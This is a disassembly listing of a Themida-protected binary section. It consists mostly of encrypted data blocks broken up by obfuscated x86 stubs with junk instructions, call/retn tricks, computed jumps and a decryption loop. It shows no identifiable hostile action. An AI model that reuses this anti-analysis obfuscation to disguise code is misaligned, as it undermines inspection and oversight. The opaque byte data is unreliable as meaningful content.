		dd 0D6D072h, 684D0000h,	0E0C8B315h, 66602B9Dh, 0E2CAB517h
		dd 6C5E299Bh, 8A00BF11h, 81037A70h, 1C6C11F6h, 81037A71h
		dd 1E6E0FF6h, 0F0AD8986h, 0ACA72307h, 0A48649B9h, 210CF7D9h
		dd 86DE6C5Ch, 0C8C7DE9Fh, 0DEBEDBDBh, 2BDEAD3Eh, 8D911E1Ch
		dd 6DC5C0D2h, 3696E7DEh, 53E02F89h, 5A00AB73h, 0B13EEBB3h
		dd 29512C24h, 0B04917Eh, 7C03522Ch, 0E891A723h,	0C3AAE991h
		dd 483FCABAh, 5302FCEFh, 41A7237Bh, 7B6F2E18h, 0FDF9A723h
		dd 0A7237B60h, 27520D3Ch, 656B574Eh, 54E80808h,	3B324ADAh
		dd 0D0B74242h, 0EFCA8767h, 9FCA663Eh, 4A42CFD6h, 66852A33h
		dd 0EFDC7975h, 91B8663Eh, 0EA730A04h, 0F181EB43h, 3D8FEED9h
		dd 5225B52h, 260C8D78h,	51581E57h, 3BDh, 66B41300h, 0D1D8A586h
		dd 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h, 332A5339h
		dd 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 58545004h, 405h
		dd 4E88300h, 5C240487h,	3AD68h,	24348900h, 20DA68h, 24048900h
		dd 4B3104BEh, 0FFC68343h, 0F26CE81h, 0C6813926h, 8AAC8FD0h
		dd 24048B54h, 6804C483h, 22BDh,	81243489h, 71022434h, 408F36A3h
		dd 8708108h, 36A37102h
; ---------------------------------------------------------------------------
		mov	eax, [esp-1ECh+arg_1E8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	esi, [esp-1ECh+arg_1E8]
		push	ecx
		mov	ecx, esp


loc_5E735D:				; DATA XREF: Themida_:0057C93Co
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		retf	7961h
; ---------------------------------------------------------------------------
		db 68h,	0BDh, 0A3h
; ---------------------------------------------------------------------------


loc_5E7378:				; CODE XREF: sub_5E67F9:loc_5E68DBj
		mov	eax, 61BD8C2h
		add	eax, ebp
		jmp	eax
sub_5E67F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 60h,	96h, 0D8h
		dd 0D397CE79h, 68A84B4Ah, 0C21F251Fh, 2D81093Dh, 0DFD46003h
		dd 8491C82Dh, 5F801112h, 19E42816h, 779B2A1Eh, 3FD8A26h
		dd 8748DF7Eh, 0FF502615h, 8BC22906h, 0EAC4D022h, 0A1AC0505h
		dd 0CD3C145Ah, 2483761Fh, 70FA2160h, 6CF80471h,	0CD519421h
		dd 0B9D4A177h, 2C78040Fh, 0DBD11409h, 2E22D76Fh, 0BF2B7505h
		dd 0AB8D8D18h, 31061BDAh, 1516CDBDh, 218D8906h,	56061527h
		dd 0CD85C75Eh, 0B8061504h, 6A000068h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 4591C350h
		dd 4282AA23h, 0AE960h, 6C3D0000h, 0C413308h, 29368411h
		dd 2799BD8Bh, 0C7610615h, 15111585h, 6,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0D080846Bh, 0D858979h, 0FF06152Fh, 152921B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 70144F50h, 0D1B58B63h, 0FF061505h, 1502C995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0C75F8F12h, 0C800F3Ch, 0F000000h, 68Ch, 559D3100h, 6A061510h
		dd 2195FF00h, 8B06152Eh, 374DEBC0h, 9B619C89h, 0FFBBAB91h
		dd 69E1F855h, 97ECA8E1h, 0F602674h, 97A6670Ch, 8B86977Eh
		dd 48BB7C5h, 4A22DF66h,	65ED1820h, 0AB825DC4h, 33CD7AD2h
		dd 0A2F1ADF4h, 0FB3832ABh, 0F1F41753h, 30A457CBh, 92D50E48h
		dd 8ADEF66Dh, 2620980Bh, 12E8h,	59E400h, 0ED5502A5h, 99094C60h
		dd 9C156A14h, 6630044Dh, 5EA834BBh, 0D5852957h,	5F061521h
		dd 7542C681h, 8D890000h, 61522E5h, 0B9h, 8BD78B00h, 13E90E04h
		dd 0D7000000h, 9337349Fh, 742A2AC8h, 3FB88CBh, 33920B34h
		dd 0E8815CD3h, 2FEED3EEh, 24599D89h, 0F0810615h, 2602A9EAh
		dd 879B509h, 0C0810615h, 57C93186h, 0A9C38166h,	0BF0F50F2h
		dd 0E048FFFh, 0BF66D08Bh, 0E981E7D9h, 34C29E55h, 58D0B60h
		dd 66061517h, 6191F1BFh, 9E51C181h, 14E934C2h, 0DA000000h
		dd 5D33C453h, 0BC365167h, 0B02807B8h, 5C40023Eh, 81E3A7E7h
		dd 0FF8BB8F9h, 24850FFFh, 52000000h, 9E9h, 0AFFC8200h
		dd 9CA8316Dh, 0E95F4D56h, 2Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h
		dd 0E9B439ECh, 0Eh, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h
		dd 3CE9726Bh, 29FFFFFFh, 0E8552FCBh, 0E932BAF8h, 31h, 1E327FF3h
		dd 0Bh dup(0)
		dd 58AE900h, 85680000h,	0E9061BDDh, 0FFF9A20Eh,	1BDE0B68h
		dd 0A204E906h, 0AE68FFF9h, 0E9061BDFh, 0FFF9A1FAh, 491017Dh
		dd 0BB5ACA2Fh, 0FC990964h, 0C451C127h, 0FA9B0B6Fh, 4FB3EE9Dh
		dd 86E936DFh, 54B07F16h, 0A12211E4h, 6B736431h,	9D2EB1D8h
		dd 81BB3C16h, 6056C624h, 1EB8597Eh, 14599133h, 11EE2898h
		dd 5CDF4C3Eh, 4405D2ECh, 89136722h, 0C995E08Ah,	0F2980868h
		dd 0F6C8F8C8h, 908F09E1h, 6CF3C434h, 95A74378h,	0EB2E95C7h
		dd 92108677h, 2EBAE981h, 4D169C9Eh, 5C6DB40Fh, 3F101693h
		dd 5C5A6B4Bh, 935CB4D9h, 0E7D64116h, 0D444A60Bh, 0C7F27736h
		dd 837A9DBDh, 8E000003h, 93B68D4Fh, 5A1086F2h, 0F2A4ED58h
		dd 76471086h, 68D85A59h, 0C0311F82h, 0D00ED000h, 86F22C75h
		dd 4DBD4210h, 0FBCC7449h, 92764D0Fh, 0DB169BFBh, 0D59134CAh
		dd 0A20BF952h, 0CE90AEDEh, 0F5950565h, 0E67802C6h, 0DCDAEB15h
		dd 0D444C1F2h, 8CBC7C36h, 36ABACB2h, 372C95EDh,	0FB6BCCC7h
		dd 6731B40Fh, 0D1E21F13h, 38680272h, 2C855767h,	67585ECEh
		dd 0B5258683h, 0C910B3A9h, 0B41F2277h, 0B76C07E3h, 0D949A834h
		dd 0C9E656DAh, 477D9A34h, 0D32F45AEh, 398h, 38DD4DA9h
		dd 7F1686EBh, 10E555B0h, 482D9D23h, 0EE757DBh, 1B9F1299h
		dd 0D255CAABh, 209C9362h, 0ED4EE5B0h, 1F2F987Dh, 9D2F7DA4h
		dd 0BD7F0016h, 3DB0BABh, 0A2CE1440h, 6D8E916h, 59EC4DADh
		dd 169D2E30h, 0F9C5EABBh, 74AF9E3h, 0E6169D2Eh,	2E2970D5h
		dd 0A7D4169Dh, 0E9E6D040h, 54924C6h, 2E256CD7h,	0F7C8169Dh
		dd 24941613h, 2E4993F2h, 6DC6169Dh, 3FEC9E0Eh, 91B14CBCh
		dd 0D2B7D028h, 31260E4h, 0CF2F0000h, 869B65Fh, 0C726FD98h
		dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh
		dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D2Ch,	0BAB43F9h
		dd 0F2365BEAh, 0E4B51086h, 450F3CBh, 0F916A2CEh, 7D481628h
		dd 169D2E54h, 0AA640617h, 0FE6ECFE4h, 2E6CB10Ch, 282169Dh
		dd 2A8FA492h, 0D4BD7CBAh, 8E50FAE9h, 38B19549h,	9674AB31h
		dd 2895B41Bh, 0B09DC396h, 1EEh,	0B62685AEh, 9C0C7380h
		dd 0E08AA59Ah, 3BC7243Ch, 544D49B9h, 502D69D9h,	7866507Fh
		dd 0AB253C5Fh, 0A54514FEh, 0FE970764h, 2F2B7B5Ch, 3A857B82h
		dd 630777F9h, 8559892Dh, 0D02C8557h, 559CC560h,	4E5F1086h
		dd 5CC9019Ch, 8394169Bh, 8BF376BBh, 0A2F68657h,	36D4FBBCh
		dd 3B507DF8h, 26861693h, 0C7380B6h, 11B49A9Ch, 16933BC8h
		dd 52C3E2B3h, 67D2786Bh, 0E86CD178h, 0A50E9DBDh, 0B37D343h
		dd 3Fh,	0DB0BAB1Fh, 0DB4BAE03h,	3608E2DBh, 37A70B28h, 95300EFFh
		dd 1086F24Ch, 516C1E2Fh, 169BF5E1h, 0C18B8B9Ch,	900DED94h
		dd 7E3DF42h, 9310719Ch,	2C93FE16h, 0BDFC901Dh, 0AF189Dh
		dd 24F40000h, 0ABB55FC7h, 0C9FD6C34h, 3FC3B0E6h, 59DAC7CFh
		dd 37B4ADE9h, 39BAF7C7h, 6F5221C9h, 1086F50Ch, 18DE849h
		dd 4A200F7Fh, 0E4FA6AC9h, 939A2F3h, 0A3226BA7h,	250A0333h
		dd 0C0802645h, 565CE90h, 0E45FF595h, 169EA8B6h,	4B687647h
		dd 0BC9E77E7h, 9185F577h, 0DD5DCEBCh, 2A6A906Dh, 0F7FDB7D4h
		dd 16F7Bh, 474D200h, 0CF3FC271h, 0C7CF926h, 0C636BA69h
		dd 1282002Fh, 2C672483h, 68B75ECEh, 31FE9707h, 9D9263D3h
		dd 0FCC7AE1Eh, 2D2E73D2h, 4CCD169Dh, 56C624F0h,	0AB1370BFh
		dd 8E3BC8ECh, 78A1244Dh, 310868Ah, 63321D32h, 57C724D5h
		dd 89F1525Fh, 85A19C0Ah, 660F20BDh, 8E508040h, 6056C625h
		dd 0AB97B6Fh, 169C8021h, 0E656D5DEh, 0BB839404h, 0C108BBA1h
		dd 431690E3h, 0DF1D8A9Eh, 0C9DA4685h, 2292F021h, 592F6E53h
		dd 0C2411690h, 514B8C52h, 73C37898h, 0E252B1E2h, 642FDBB4h
		dd 59DF6BCFh, 0BBF8C6E9h, 0F422C838h, 3AAA092Ah, 3B6703FCh
		dd 0BCh, 0B1D86B71h, 3C169089h,	0D1044C6Bh, 6955DAA9h
		dd 0BAB9981h, 851F4EAh,	0F31086F2h, 0F25E8322h,	0C1D1086h
		dd 60A81B23h, 0D16A2CEh, 71F5CB44h, 9D238FD2h, 7A5D6E16h
		dd 44748035h, 5BFB695Bh, 0CCCAE5CAh, 0E252B102h, 4003DBB4h
		dd 169D9319h, 0FA37D3E4h, 1D8DED79h, 6A0B2419h,	0D0C636B5h
		dd 0ABF15975h, 7A65CC2Eh, 977EEE4Dh, 7BBB2B88h,	600DC491h
		dd 6851CDB0h, 9CAAEF56h, 40510EC2h, 970769AAh, 0BD9AA49Fh
		dd 1FA6410Ch, 0EC2AEFAh, 0E5A7B081h, 72E2609Fh,	86644B44h
		dd 94EA40Bh, 2E67CDC4h,	6DCEC5BCh, 26C4B9FDh, 7F1686E5h
		dd 0B3E353B0h, 34Fh, 4B2F6B00h,	5C5ACA24h, 4274E447h, 3363D331h
		dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
		dd 3C7AEA4Fh, 306B6878h, 34890000h, 0E1895124h,	4C181h
		dd 0E9810000h, 4, 5C240C87h, 50242C89h,	405E089h, 2D000000h
		dd 4, 5C240487h, 68240C89h, 61BDC59h, 81242C8Bh, 4C4h
		dd 0C8B5400h, 4C48124h,	52000000h, 16B8BE56h, 0F6817B51h
		dd 7B5116B0h, 15EF289h,	5A2A89CAh, 592434FFh, 0FF04C483h
		dd 815D2434h, 4C4h, 9C9CE900h, 42E0FFF9h, 0ABFC9EE9h, 0DE83084h
		dd 9DE983DFh, 1BE142B8h, 0FFC50306h, 65AB9EE0h,	0CFB2E163h
		dd 0D8EBD744h, 8E6B85Fh, 0D791828h, 0E38D8D5Ch,	6A061BE2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 6B7DC355h, 302A4E9Eh, 915BD03h, 95090615h
		dd 6152ED9h, 27218D89h,	6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 9EC8F7C3h, 5899C50Dh
		dd 0E8556317h, 10h, 0D2111F3h, 0A076A1Eh, 0F354577Bh, 95187898h
		dd 0FE9h, 8FBE2600h, 0CD7CA9ABh, 58FC6515h, 63D328A0h
		dd 0CD85C75Eh, 0E8061504h, 6A000058h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 70AAC350h
		dd 0FA40F039h, 111585C7h, 615h,	8D890000h, 61528B1h, 1D45B5FFh
		dd 95890615h, 61518DDh,	2C995FFh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2185E4C3h
		dd 532D40B9h, 6A7BFDC1h, 2195FF00h
		db 2Eh,	15h
; ---------------------------------------------------------------------------


loc_5E7D12:				; DATA XREF: Themida_:0057C2E0o
		push	es
		mov	eax, eax
		jmp	short loc_5E7D22
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0F46A2D21h, 0AAF4FADAh
		db 6Dh,	7Eh
; ---------------------------------------------------------------------------


loc_5E7D22:				; CODE XREF: Themida_:005E7D15j
		call	near ptr sub_5E7D35
		cmp	eax, [ecx+ebp*4+67h]
		mov	ebp, 6B90E018h
		mov	ds:8653FC66h, eax

; =============== S U B	R O U T	I N E =======================================



sub_5E7D35	proc far		; CODE XREF: Themida_:loc_5E7D22p

; FUNCTION CHUNK AT 005E7E25 SIZE 0000001D BYTES

		pop	edi
		add	bl, 0DDh
		add	edi, 6F55h
		mov	ebx, edi
		xor	edx, edx
		jmp	loc_5E7D56
; ---------------------------------------------------------------------------
		dd 3B62F988h, 13A3C627h, 5C8487C6h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 10h
; ---------------------------------------------------------------------------


loc_5E7D56:				; CODE XREF: sub_5E7D35+Ej
					; sub_5E7D35+9Dj
		mov	esi, [edi+edx]
		xor	[ebp+6152ED9h],	eax
		add	esi, 46AEA33Fh
		jmp	loc_5E7D71
; ---------------------------------------------------------------------------
		dw 0C19Ah
; ---------------------------------------------------------------------------
		inc	esi
		db	66h
		jns	short loc_5E7DE7
		daa


loc_5E7D71:				; CODE XREF: sub_5E7D35+30j
		xor	esi, 4D008315h
		mov	[ebp+61528A1h],	ecx
		sub	esi, 2661471Fh
		jg	loc_5E7D8F
		mov	[ebp+61518A5h],	ebx


loc_5E7D8F:				; CODE XREF: sub_5E7D35+4Ej
		push	esi
		mov	ax, 28E3h
		pop	dword ptr [edi+edx]
		mov	cx, bx
		jnz	loc_5E7DB4


loc_5E7DA0:				; CODE XREF: sub_5E7D35+B7j
		jmp	loc_5E7DB4
; ---------------------------------------------------------------------------
		db 34h,	50h, 0B7h
		db 0ACh, 2Dh
; ---------------------------------------------------------------------------


loc_5E7DAA:				; CODE XREF: sub_5E7D35+B3j
		pop	es
		pop	es
; ---------------------------------------------------------------------------
		dd 647B8181h, 0A44FE0FDh
; ---------------------------------------------------------------------------


loc_5E7DB4:				; CODE XREF: sub_5E7D35+65j
					; sub_5E7D35:loc_5E7DA0j
		sub	edx, 6FED859h
		mov	[ebp+6150829h],	ebx
		add	edx, 6FED855h
		sub	[ebp+6150C5Dh],	eax
		cmp	edx, 0FFFF9170h
		jnz	loc_5E7D56
		jmp	loc_5E7DF0
; ---------------------------------------------------------------------------
		db 2, 0F0h, 73h
		dd 2A70E526h
		db 62h,	4Eh, 6
; ---------------------------------------------------------------------------


loc_5E7DE7:				; CODE XREF: sub_5E7D35+38j
		sahf
		jecxz	short loc_5E7DAA
		jns	short loc_5E7E25
		jg	short loc_5E7DA0
; ---------------------------------------------------------------------------
		dw 9BD2h
; ---------------------------------------------------------------------------


loc_5E7DF0:				; CODE XREF: sub_5E7D35+A3j
		lea	ecx, [ebp+61BE49Dh]
		push	0
		push	edi
		call	sub_5E7E01
		and	[edi-3Dh], bl
sub_5E7D35	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5E7E01	proc near		; CODE XREF: sub_5E7D35+C4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5E7E01	endp

; ---------------------------------------------------------------------------
		mov	esi, 0B54AD9CCh
		mov	edx, 8B0FC24Dh
		add	eax, 0BA000000h
		retn	0C2F2h
; ---------------------------------------------------------------------------
		db 16h
		db 89h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5E7D35


loc_5E7E25:				; CODE XREF: sub_5E7D35+B5j
		lea	esp, [ecx]
		daa
		adc	eax, 0FCE68006h
		mov	dword ptr [ebp+61504CDh], 74C0h
		push	0
		push	ebx
		call	sub_5E7E42
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5E7D35

; =============== S U B	R O U T	I N E =======================================



sub_5E7E42	proc near		; CODE XREF: sub_5E7D35+105p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5E7E42	endp

; ---------------------------------------------------------------------------
		dw 5FFEh
		dd 1F2BB3BCh, 816686EBh, 66B00BCFh, 85C7D88Bh, 6151115h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5E7E77
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E7E77	proc near		; CODE XREF: Themida_:005E7E6Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5E7E77	endp

; ---------------------------------------------------------------------------
		db 97h
		dd 858970A4h, 61505DDh,	0FFE9DC80h, 1523E1B5h, 5AD88006h
		dd 2C995FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 21935EC3h, 0BE13BBFFh, 0FF006AD2h
		dd 152E2195h, 0EBC08B06h, 0C92CB47Ch, 0F2EC95E3h, 9537D659h
		dd 254A6968h, 0B2705D92h, 89C7628Dh, 794F6B8Ch,	6D37BE1Eh
		dd 0C52D0A89h, 82B305F9h, 34CBA0B1h, 0D912BE53h, 0C7A74BE0h
		dd 55890EB4h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh
		dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h,	0ADD80670h
		dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 54F862E4h, 0A6AB5692h
		dd 0D8ECFB13h, 7AFFDAE3h, 9063A468h, 1EE9D4h, 5B490000h
		dd 1B23h, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E84A3
; ---------------------------------------------------------------------------
		db 6Ah,	0Ch, 9Ch
		dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh
		dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 17D6FBCAh
		dd 0D495169Dh, 57C72468h, 80F0525Fh, 0FC25A0BEh, 7F1086F2h
		dd 960665AEh, 298A99F4h, 0A28F7DB9h, 4CBDAD1Dh,	2A377FEFh
		dd 4E8757C7h, 4F5A964Bh, 7AB45674h, 0A2507FE6h,	0B3C009BCh
		dd 9AAB1086h, 50C043F0h, 9E0E6EC5h, 5CCC28F7h, 60D03182h
		dd 83B15936h, 0FC7D096Eh, 0A9B58A8Ch, 86B3F71Ah, 8AA57610h
		dd 0CD00A98Ch, 8BEE7AFAh, 0D261341Bh, 0AE150171h, 1086B36Eh
		dd 87C2ED8Ch, 97A85B22h, 0E62B9AC4h, 0F81086BFh, 3E0F0777h
		dd 69D9B182h, 61h, 0DD624F3Dh, 2F8C7D6Dh, 2C5B8DC7h, 7549A9FCh
		dd 86C58BCEh, 8EA17210h, 0C6DC688h, 88CFEE9Ch, 0EC1086C5h
		dd 82E7624Dh, 0A97A851h, 1, 55C5241Eh, 89F15061h, 0B5952CF6h
		dd 377F5001h, 6FDF5C55h, 77B45627h, 199581F1h, 6AC72B92h
		dd 84F47B07h, 0F892BD92h, 0AF46B63Bh, 2930380h,	0E2624F36h
		dd 3066D656h, 4946705Fh, 0A21270A1h, 0DE03C29Ch, 341086F2h
		dd 0F21852B5h, 0FCCD7315h, 0AE13200Eh, 0F53E203Eh, 3B140272h
		dd 8659478Ah, 75152610h, 0DA4AAAB7h, 0F161C7DCh, 248B02C5h
		dd 2B88CABFh, 7B258C8h,	1B8BEFD8h, 62E3D07Ah, 1FCBC4F2h
		dd 0F52191F2h, 251181FCh, 31C1ECA3h, 0CA772B24h, 2BDF07C6h
		dd 0A83A2D80h, 849397h,	24A70000h, 46B63AC6h, 8E507F50h
		dd 91897A49h, 0C4A6620Fh, 6CDC594Ah, 802FB62Ah,	4EBE4172h
		dd 9B0B6F9Ch, 5DC525FAh, 38AE833Fh, 68AE81B4h, 0B985F57Bh
		dd 4BF920A3h, 97841086h, 9C71A515h, 0F118ABB3h,	7C10864Bh
		dd 0F355BFABh, 65B8913Ch, 0CB97A8D5h, 45h, 0F1B0D401h
		dd 0C8DAC955h, 0C3BCFA6Ah, 2416FEECh, 7E6056C6h, 4E48B835h
		dd 4768D855h, 960666A3h, 4B7227A0h, 0E78EFE7Ch,	7DED4E63h
		dd 0C524A58Dh, 0BAE26155h, 0B81086F2h, 2EBB8E41h, 0B697A81Ah
		dd 1, 59C924D2h, 83666F5Dh, 0C40A22DEh,	7CBA2A8Fh, 4DBEAC83h
		dd 54E062EEh, 4B4B64D4h, 5A595D72h, 42C304ABh, 0F33F62E1h
		dd 0D1BE1086h, 3A130373h, 4B5B3A15h, 0E0637BABh, 169BFD44h
		dd 0D5CEC8D9h, 200FE656h, 2A2B33A3h, 82F50B54h,	0C3711911h
		dd 93EE1B40h, 8D40E916h, 0AC49B93Ah, 9284F477h,	2C122A1h
		dd 1693EEDFh, 9B38959Eh, 9CAA05DBh, 0DF9A9CB3h,	43C007B6h
		dd 0A6F42D3h, 929DBDD1h, 122h, 0DB0BABA6h, 0F6304003h
		dd 0FCCD169Bh, 0FE6ED1E2h, 0E923C7B8h, 0BBDF3223h, 0D4BADC7Eh
		dd 93742871h, 0EDC2D316h, 3FAF0CFDh, 0FA6AC956h, 0D444A7BCh
		dd 3F6E27E2h, 0DABB2B88h, 0BDA062C7h, 75EA9Dh, 4FBE0000h
		dd 0F293B68Dh, 495A1086h, 1A4AF7A1h, 9A191A44h,	0F2478A39h
		dd 15261086h, 0C75503Ah, 4D9086F2h, 3D1F87E4h, 0D693AC4Ch
		dd 3165052Ah, 76683660h, 79148ACFh, 0CAA0716Fh,	7914B6DBh
		dd 5F4EB56Fh, 1C2252EFh, 59E81542h, 796FD28Bh, 0BA9D6D06h
		dd 0A04AE6DBh, 7935FC05h, 90AE7FEFh, 1B889CEh, 0BA5C1B53h
		dd 799BC60Bh, 0F694A5EFh, 6C1997h, 0ABED0000h, 4003DB0Bh
		dd 169C0670h, 0E9FA3C0Dh, 0A47B1A8Ah, 0FDDFD747h, 24C636B4h
		dd 93E75779h, 416C1D16h, 0E0B52586h, 0E8F626DAh, 0CF3FBDF6h
		dd 0C23A801Bh, 724310B7h, 5CCC2F44h, 5BE7495Ah,	5E2F67D7h
		dd 0D12C4571h, 13603561h, 0D3CF9AE3h, 6C53DA56h, 0F8E74E77h
		dd 6C72A256h, 9239D3D9h, 5BDFF81Ah, 0EE994AEEh,	4D5E4228h
		dd 0BAB84A8h, 4AAE03DBh, 302E30DAh, 0F272972Eh,	0CF91086h
		dd 2FB3BABh, 585E3D2Dh,	0E116A2D7h, 4FC90ED0h, 588C5E4Ah
		dd 8375181Dh, 96BE3FB4h, 0CA293AF4h, 0C68FBB5Ah
		db 84h,	0
word_5E837E	dw 9F25h		; DATA XREF: Themida_:00579D60o
		dd 0B7741687h, 0D949A834h, 9C45C0F6h, 4F2BA41Dh, 71D2F5E8h
		dd 3CBF7401h, 0AF04CACCh, 0E3DCDA4Ah, 416D9CD4h, 7F6B56C8h
		dd 18C62E92h, 69F599D0h, 5C575F70h, 66C502ADh, 4FF6E8F6h
		dd 33D2840Ah, 2B4A20F1h, 8AEB77F4h, 0C231C1Ah, 8EEF440Ah
		dd 1A506C1Eh, 8E000000h, 84ACF550h, 3DC233D2h, 0A84253CDh
		dd 0B68D4F74h, 1086F293h, 7BA1495Ah, 5ACA247Fh,	74E4475Ch
		dd 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h
		dd 52C24330h, 7AEA4F64h, 8957783Ch, 4C781E7h, 83000000h
		dd 3C8704EFh, 24248B24h, 4B9668h, 24048900h, 197D68h, 243C8900h
		dd 3D53B951h, 0BD550972h, 62BF5AABh, 0F581DDF7h, 0D30CAF57h
		dd 415DE909h, 5A0EE981h, 0C8894962h, 4EC8159h, 89000000h
		dd 4832424h, 515F0424h,	8151C189h, 7B32242Ch, 478F6058h
		dd 8478108h, 60587B32h,	243C8B59h, 81E28952h, 4C2h, 4C28100h
		dd 87000000h, 0FF5C2414h, 81582434h, 4C4h, 93E0E900h
		db 0F9h, 0FFh, 6Ah
; ---------------------------------------------------------------------------


loc_5E84A3:				; CODE XREF: Themida_:005E7F70j
		mov	eax, 61BE9E7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 10265175h, 2121562Eh, 4DBA888Bh, 4B3F57ADh, 2303CEEEh
		dd 2D99BAF9h, 4F015CD8h, 1EE0E726h, 64CB27CCh, 7478BCA1h
		dd 19B0304Ch, 44A20598h, 53ECAAABh, 7BC84A10h, 3D65B4DDh
		dd 3B5E77C7h, 68F1240Ah, 77F82C3Bh, 3315454Fh, 66720FC9h
		dd 0EBBF8D8Dh, 6A061Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 91B856C3h, 0F91F092Ah, 661803FFh
		dd 0BF66C78Bh, 8D89ACBCh, 6152721h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0E3C35141h,	4CD85C7h, 711C0615h
		dd 852B0000h, 6150061h,	111585C7h, 615h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 1ED247C3h, 0B1C2E2C1h, 0FFE4F3E0h, 1533A9B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0B5331A79h, 6150C95h, 1C984ABFh, 0C995FF3Ah,	6A061502h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0FE02C356h, 2585312Ah, 6A061526h,	2195FF00h
		dd 8B06152Eh, 0F94FEBC0h, 0A3E6C2A9h, 77A139F3h, 0A0FC0DDFh
		dd 0F74E152Ch, 471274B3h, 1AC5F48Bh, 408C77Bh, 0AC97F48Dh
		dd 2ED02C8Dh, 0E854DE78h, 1A3404C1h, 7CF98AF4h,	5E52DD3Dh
		dd 6708A0F8h, 0BA8A9792h, 692826ACh, 4C790D0Ah,	0B3AD0ED0h
		dd 682132AAh, 14E80E35h, 9A000000h, 0E08815Ch, 0BC1D6995h
		dd 505F8249h, 0DB59E1C8h, 0E9C53FB1h, 7, 45D513C8h, 5AFFEF2Fh
		dd 2D21BD8Bh, 0C2810615h, 5C4Ch, 5E8h, 65A1D700h, 85890080h
		dd 615035Dh, 6859h, 58FC0000h, 8B02348Bh, 1521098Dh, 0DF68106h
		dd 66117836h, 8189ACB9h, 30D4DEEh, 0E0F7807Dh, 0CBCBC681h
		dd 890F1CC9h, 0Dh, 5E8h, 61A7E00h, 0F88B7AA2h, 2348959h
		dd 12E9h, 7159A700h, 0EAE7A9C4h, 3E20835h, 822B580Dh, 0E8F68B79h
		dd 0Ah,	0D998094h, 0B1BAC186h, 8D8988C8h, 6150839h, 4E88359h
		dd 0F8815B57h, 0FFFFA4A8h, 29850Fh, 10E90000h, 0C1000000h
		dd 58328B05h, 7F37F006h, 52800720h, 0E9784BC3h,	23h, 83E112D6h
		dd 0BCE889CBh, 8DEFED6Ah, 318F643Dh, 15151D9Dh,	0FF56E906h
		dd 2ADAFFFFh, 1567D184h, 0E8577E57h, 0Fh, 0AC40B2F5h, 7FA13104h
		dd 0F9B8EE6Ah, 0E9409CB2h, 0Dh,	71975F9Fh, 527555DAh, 4EE7CD66h
		dd 0C1815931h, 64C2h, 107D958Bh, 0F62B0615h, 31048BFCh
		dd 0C820Fh, 830F0000h, 6, 27258D29h, 0E8810615h, 1F47D56Ah
		dd 2FD8D89h, 0F0810615h, 75CA0433h, 0ABF081F8h,	8B4CD959h
		dd 310489F8h, 6820Fh, 958B0000h, 6152E75h, 81D2B70Fh, 7B1297EEh
		dd 65958B5Ah, 81061534h, 7B1293C6h, 5D85895Ah, 8106150Ch
		dd 0FF9C04FEh, 1D850FFFh, 89000000h, 15028595h,	28E906h
		dd 6DB00000h, 0BDCEBA1Ch, 96FC7B39h, 2EE9B2D4h,	23E64277h
